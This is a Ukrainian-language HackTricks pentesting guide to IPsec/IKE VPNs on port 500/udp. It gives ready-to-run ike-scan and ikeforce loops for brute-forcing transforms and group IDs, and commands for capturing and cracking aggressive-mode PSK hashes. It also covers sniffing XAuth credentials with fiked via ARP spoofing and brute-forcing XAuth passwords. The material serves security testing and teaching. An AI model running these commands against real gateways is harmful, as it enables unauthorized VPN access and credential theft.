hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

26 KiB
Raw Blame History

500/udp - Pentesting IPsec/IKE VPN

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %} {% endhint %}

Основна інформація

IPsec широко визнаний як основна технологія для забезпечення безпеки комунікацій між мережами (LAN-to-LAN) та від віддалених користувачів до мережевого шлюзу (віддалений доступ), слугуючи основою для корпоративних VPN рішень.

Встановлення асоціації безпеки (SA) між двома точками управляється IKE, який працює під егідою ISAKMP, протоколу, призначеного для аутентифікації та обміну ключами. Цей процес розгортається в кілька фаз:

  • Фаза 1: Створюється захищений канал між двома кінцевими точками. Це досягається за допомогою попередньо поділеного ключа (PSK) або сертифікатів, використовуючи або основний режим, який включає три пари повідомлень, або агресивний режим.
  • Фаза 1.5: Хоча не є обов'язковою, ця фаза, відома як Фаза розширеної аутентифікації, перевіряє особу користувача, який намагається підключитися, вимагаючи ім'я користувача та пароль.
  • Фаза 2: Ця фаза присвячена узгодженню параметрів для забезпечення безпеки даних за допомогою ESP та AH. Вона дозволяє використовувати алгоритми, відмінні від тих, що в Фазі 1, для забезпечення Ідеальної впередньої секретності (PFS), що підвищує безпеку.

Порт за замовчуванням: 500/udp

Відкрийте сервіс за допомогою nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Знайти дійсну трансформацію

Конфігурація IPSec може бути підготовлена лише для прийняття однієї або кількох трансформацій. Трансформація - це комбінація значень. Кожна трансформація містить ряд атрибутів, таких як DES або 3DES як алгоритм шифрування, SHA або MD5 як алгоритм цілісності, попередньо поділений ключ як тип аутентифікації, Diffie-Hellman 1 або 2 як алгоритм розподілу ключів і 28800 секунд як термін дії.

Отже, перше, що вам потрібно зробити, це знайти дійсну трансформацію, щоб сервер міг з вами спілкуватися. Для цього ви можете використовувати інструмент ike-scan. За замовчуванням Ike-scan працює в основному режимі і надсилає пакет до шлюзу з заголовком ISAKMP і єдиною пропозицією з вісімкою трансформацій всередині.

Залежно від відповіді ви можете отримати деяку інформацію про кінцеву точку:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Як ви можете бачити в попередній відповіді, є поле під назвою AUTH зі значенням PSK. Це означає, що vpn налаштовано з використанням попередньо поділеного ключа (і це дійсно добре для pentester).
Значення останнього рядка також дуже важливе:

  • 0 повернено handshake; 0 повернено notify: Це означає, що ціль не є IPsec шлюзом.
  • 1 повернено handshake; 0 повернено notify: Це означає, що ціль налаштована для IPsec і готова виконати IKE переговори, і один або більше з трансформацій, які ви запропонували, є прийнятними (дійсна трансформація буде показана в виході).
  • 0 повернено handshake; 1 повернено notify: VPN шлюзи відповідають повідомленням notify, коли жодна з трансформацій не є прийнятною (хоча деякі шлюзи цього не роблять, у такому випадку слід провести подальший аналіз і спробувати переглянуту пропозицію).

Отже, в цьому випадку у нас вже є дійсна трансформація, але якщо ви в 3-му випадку, то вам потрібно трохи брутфорсити, щоб знайти дійсну трансформацію:

По-перше, вам потрібно створити всі можливі трансформації:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

А потім виконайте брутфорс для кожного з них, використовуючи ike-scan (це може зайняти кілька хвилин):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Якщо брутфорс не спрацював, можливо, сервер відповідає без рукостискань навіть на дійсні трансформації. Тоді ви можете спробувати той же брутфорс, але використовуючи агресивний режим:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Сподіваюсь, дійсна трансформація буде відображена назад.
Ви можете спробувати ту ж атаку за допомогою iker.py.
Ви також можете спробувати брутфорс трансформацій за допомогою ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

У DH Group: 14 = 2048-бітний MODP та 15 = 3072-бітний
2 = HMAC-SHA = SHA1 (в цьому випадку). Формат --trans є $Enc,$Hash,$Auth,$DH

Cisco вказує уникати використання DH груп 1 та 2, оскільки вони недостатньо сильні. Експерти вважають, що країни з великою кількістю ресурсів можуть легко зламати шифрування даних, які використовують ці слабкі групи. Це робиться за допомогою спеціального методу, який готує їх до швидкого зламу кодів. Хоча налаштування цього методу коштує багато грошей, він дозволяє цим потужним країнам читати зашифровані дані в реальному часі, якщо вони використовують групу, яка не є сильною (наприклад, 1,024-бітну або меншу).

Визначення відбитка сервера

Потім ви можете використовувати ike-scan, щоб спробувати виявити постачальника пристрою. Інструмент надсилає початкову пропозицію і зупиняє повторення. Потім він аналізує різницю в часі між отриманими повідомленнями від сервера та відповідним шаблоном відповіді, пентестер може успішно визначити постачальника VPN шлюзу. Більше того, деякі VPN сервери використовуватимуть необов'язковий Vendor ID (VID) payload з IKE.

Вкажіть дійсну трансформацію, якщо потрібно (використовуючи --trans)

Якщо IKE виявить, який постачальник, він надрукує його:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Це також можна досягти за допомогою скрипта nmap ike-version

Знаходження правильного ID (імені групи)

Щоб отримати можливість захопити хеш, вам потрібна дійсна трансформація, що підтримує агресивний режим, та правильний ID (ім'я групи). Ви, ймовірно, не будете знати дійсне ім'я групи, тому вам доведеться його перебрати.
Для цього я рекомендую вам 2 методи:

Перебір ID за допомогою ike-scan

По-перше, спробуйте надіслати запит з фальшивим ID, намагаючись зібрати хеш ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Якщо не повертається хеш, то, ймовірно, цей метод брутфорсу спрацює. Якщо повертається якийсь хеш, це означає, що буде надіслано фальшивий хеш для фальшивого ID, тому цей метод не буде надійним для брутфорсу ID. Наприклад, може бути повернуто фальшивий хеш (це трапляється в сучасних версіях):

Але якщо, як я вже сказав, не повертається хеш, то вам слід спробувати брутфорсити загальні назви груп, використовуючи ike-scan.

Цей скрипт спробує брутфорсити можливі ID і поверне ID, для яких повертається дійсне з'єднання (це буде дійсна назва групи).

Якщо ви виявили конкретну трансформацію, додайте її в команду ike-scan. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки одна з них не спрацює належним чином).

Ви можете використовувати словник ikeforce або той, що в seclists з загальними назвами груп для брутфорсу:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

{% file src="../.gitbook/assets/vpnIDs.txt" %}

Bruteforcing ID with Iker

iker.py також використовує ike-scan для брутфорсу можливих імен груп. Він слідує власному методу, щоб знайти дійсний ID на основі виходу ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py - це інструмент, який також можна використовувати для брутфорсу ID. Цей інструмент спробує експлуатувати різні вразливості, які можуть бути використані для відрізнення між дійсним і недійсним ID (можуть бути хибнопозитивні та хибнонегативні результати, тому я віддаю перевагу методу ike-scan, якщо це можливо).

За замовчуванням ikeforce на початку відправить кілька випадкових ID, щоб перевірити поведінку сервера та визначити тактику використання.

  • Перший метод полягає в брутфорсі імен груп, шукаючи інформацію Dead Peer Detection DPD систем Cisco (ця інформація відправляється сервером лише якщо ім'я групи правильне).
  • Другий метод, що доступний, полягає в перевірці кількості відповідей, надісланих на кожну спробу, оскільки іноді надсилається більше пакетів, коли використовується правильний ID.
  • Третій метод полягає в пошуку "INVALID-ID-INFORMATION" у відповідь на неправильний ID.
  • Нарешті, якщо сервер не відповідає на перевірки, ikeforce спробує брутфорсити сервер і перевірити, чи відповідає сервер надісланим пакетом, коли правильний ID відправляється.
    Очевидно, мета брутфорсу ID полягає в отриманні PSK, коли у вас є дійсний ID. Потім, з ID та PSK вам потрібно буде брутфорсити XAUTH (якщо він увімкнений).

Якщо ви виявили конкретну трансформацію, додайте її в команду ikeforce. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки один з них не спрацює належним чином).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(З книги Оцінка безпеки мережі: Знайте свою мережу): Також можливо отримати дійсні імена користувачів, перехоплюючи з'єднання між клієнтом VPN та сервером, оскільки перший пакет агресивного режиму, що містить ID клієнта, надсилається у відкритому вигляді.

Capturing & cracking the hash

Нарешті, якщо ви знайшли дійсну трансформацію та ім'я групи, і якщо агресивний режим дозволено, тоді ви можете дуже легко отримати хеш, який можна зламати:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Хеш буде збережено в hash.txt.

Ви можете використовувати psk-crack, john (використовуючи ikescan2john.py) та hashcat для crack хешу:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Агресивний режим IKE в поєднанні з попередньо поділеним ключем (PSK) зазвичай використовується для групової аутентифікації. Цей метод доповнюється XAuth (Розширена аутентифікація), яка служить для введення додаткового рівня аутентифікації користувача. Така аутентифікація зазвичай використовує сервіси, такі як Microsoft Active Directory, RADIUS або подібні системи.

Перехід до IKEv2 демонструє помітну зміну, де EAP (Розширений протокол аутентифікації) використовується замість XAuth для аутентифікації користувачів. Ця зміна підкреслює еволюцію практик аутентифікації в рамках безпечних комунікаційних протоколів.

Локальна мережа MitM для захоплення облікових даних

Отже, ви можете захопити дані входу, використовуючи fiked, і перевірити, чи є якийсь стандартний логін (Вам потрібно перенаправити трафік IKE на fiked для прослуховування, що можна зробити за допомогою ARP спуфінгу, більше інформації). Fiked буде діяти як кінцева точка VPN і захопить облікові дані XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Також, використовуючи IPSec, спробуйте здійснити атаку MitM і заблокувати весь трафік на порт 500, якщо тунель IPSec не може бути встановлений, можливо, трафік буде відправлений у відкритому вигляді.

Брутфорсинг імені користувача та пароля XAUTH за допомогою ikeforce

Щоб здійснити брутфорс XAUTH (коли ви знаєте дійсну назву групи id та psk), ви можете використовувати ім'я користувача або список імен користувачів та список паролів:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Таким чином, ikeforce спробує підключитися, використовуючи кожну комбінацію ім'я користувача:пароль.

Якщо ви знайшли один або кілька дійсних трансформацій, просто використовуйте їх, як у попередніх кроках.

Аутентифікація з IPSEC VPN

У Kali VPNC використовується для встановлення IPsec тунелів. Профілі повинні знаходитися в каталозі /etc/vpnc/. Ви можете ініціювати ці профілі за допомогою команди vpnc.

Наступні команди та конфігурації ілюструють процес налаштування VPN-з'єднання з VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

У цьому налаштуванні:

  • Замініть [VPN_GATEWAY_IP] на фактичну IP-адресу VPN-шлюзу.
  • Замініть [VPN_CONNECTION_ID] на ідентифікатор VPN-з'єднання.
  • Замініть [VPN_GROUP_SECRET] на груповий секрет VPN.
  • Замініть [VPN_USERNAME] та [VPN_PASSWORD] на облікові дані для автентифікації VPN.
  • [PID] символізує ідентифікатор процесу, який буде призначено, коли vpnc ініціюється.

Переконайтеся, що фактичні, безпечні значення використовуються для заміни заповнювачів під час налаштування VPN.

Довідковий матеріал

Shodan

  • port:500 IKE

{% hint style="success" %} Вивчайте та практикуйте Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %} {% endhint %}